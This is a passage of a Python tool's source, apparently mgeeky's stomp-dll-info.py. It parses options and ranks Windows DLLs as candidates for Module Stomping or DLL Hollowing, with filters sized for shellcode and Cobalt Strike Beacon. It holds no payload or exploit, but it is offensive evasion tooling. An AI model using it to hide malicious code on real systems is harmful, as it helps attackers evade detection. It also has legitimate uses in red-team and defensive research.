Available columns: "' + '", "'.join(headers) + '"') 413 | sorting.add_argument('-n', '--first', type=int, default=0, metavar='NUM', help='Show only first N results, as specified in this paremeter. By default will show all candidates.') 414 | 415 | filters = params.add_argument_group('Output filtering') 416 | filters.add_argument('-C', '--min-code-size', type=int, default=0, metavar='CODESIZE', help='Show only modules with code section bigger than this value.') 417 | filters.add_argument('-I', '--min-image-size', type=int, default=0, metavar='IMAGESIZE', help='Show only modules which images are bigger than this value.') 418 | filters.add_argument('-E', '--hollow-size', type=int, default=0, metavar='HOLLOWSIZE', help='Show only modules with enough room to fit shellcode in Module Stomping / DLL Hollowing technique. Example Beacon size requirement: 300KB (307200).') 419 | filters.add_argument('-S', '--min-file-size', type=int, default=0, metavar='SIZE', help='Show only modules of size bigger than this value. Cobalt Strike c2lint complains when module stomping target is smaller than 23MB (24117248).') 420 | filters.add_argument('-P', '--process', type=str, default='', metavar='NAME', help='Show only modules that are used by this process.') 421 | filters.add_argument('-U', '--used', action='store_true', help='Show only modules that are used by any process in the system.') 422 | filters.add_argument('-Q', '--not-used', action='store_true', help='Show only modules that are NOT used by any process in the system.') 423 | filters.add_argument('-D', '--dotnet', action='store_true', help='Show only modules that are .NET assemblies.') 424 | filters.add_argument('-G', '--signed', action='store_true', help='Show only code signed modules.') 425 | filters.add_argument('-H', '--unsigned', action='store_true', help='Show only unsigned modules.') 426 | filters.add_argument('-W', '--system-cross-arch', action='store_true', help='Show only modules that are present in both System32 and SysWOW64 directories.') 427 | 428 | args = params.parse_args() 429 | 430 | if len(args.process) > 0 and not args.process.lower().endswith('.exe'): 431 | args.process += '.exe' 432 | 433 | if args.signed or args.unsigned: 434 | print('[!] CAUTION: The PE Authenticode signature verification logic will return FALSE POSITIVES\n as it\'s unable to determine some of the signatures! Proceed with cuation.\n') 435 | 436 | return args 437 | 438 | def main(argv): 439 | global args 440 | global is_wow64 441 | 442 | print(''' 443 | :: stomp-dll-info.py - Your Module Stomping / DLL Hollowing candidates headhunter! 444 | A script that scans, filters, analyzes DLL files displaying viable candidates for module stomping. 445 | 446 | Mariusz Banach / mgeeky, '21 447 | 448 | ''') 449 | 450 | args = opts(argv) 451 | 452 | scanProcessModules() 453 | 454 | is_wow64 = (platform.architecture()[0] == '32bit' and 'ProgramFiles(x86)' in os.environ) 455 | 456 | try: 457 | if '\\system32\\' in args.path.lower() and is_wow64: 458 | verbose('Redirecting input path from System32 to SysNative as we run from 32bit Python.') 459 | args.path = args.path.lower().replace('\\system32\\', '\\SysNative\\') 460 | 461 | if os.path.isdir(args.path): 462 | processDir(args.path) 463 | 464 | else: 465 | if not os.path.isfile(args.path): 466 | print(f'[!] Input file does not exist! Path: {args.path}') 467 | sys.exit(1) 468 | 469 | processFile(args.path) 470 | 471 | if len(results) > 0: 472 | 473 | idx = headers.index(args.column) 474 | results.sort(key = lambda x: x[idx], reverse = not args.ascending) 475 | headers[idx] = '▼ ' + headers[idx] if not args.ascending else '▲ ' + headers[idx] 476 | 477 | if args.first > 0: 478 | for i in range(len(results) - args.first): 479 | results.pop() 480 | 481 | table = tabulate.tabulate(results, headers=['#',] + headers, showindex='always', tablefmt='pretty') 482 | 483 | print(table) 484 | 485 | if args.first > 0: 486 | print(f'\n[+] Found {len(results)} files meeting all the criterias (but shown only first {args.first} ones).\n') 487 | else: 488 | print(f'\n[+] Found {len(results)} files meeting all the criterias.\n') 489 | 490 | else: 491 | print(f'[-] Did not find modules meeting specified criterias. Processed {filesProcessed} files.') 492 | 493 | except KeyboardInterrupt: 494 | print('[-] User interrupted the scan.') 495 | 496 | if __name__ == '__main__': 497 | main(sys.argv) 498 | --------------------------------------------------------------------------------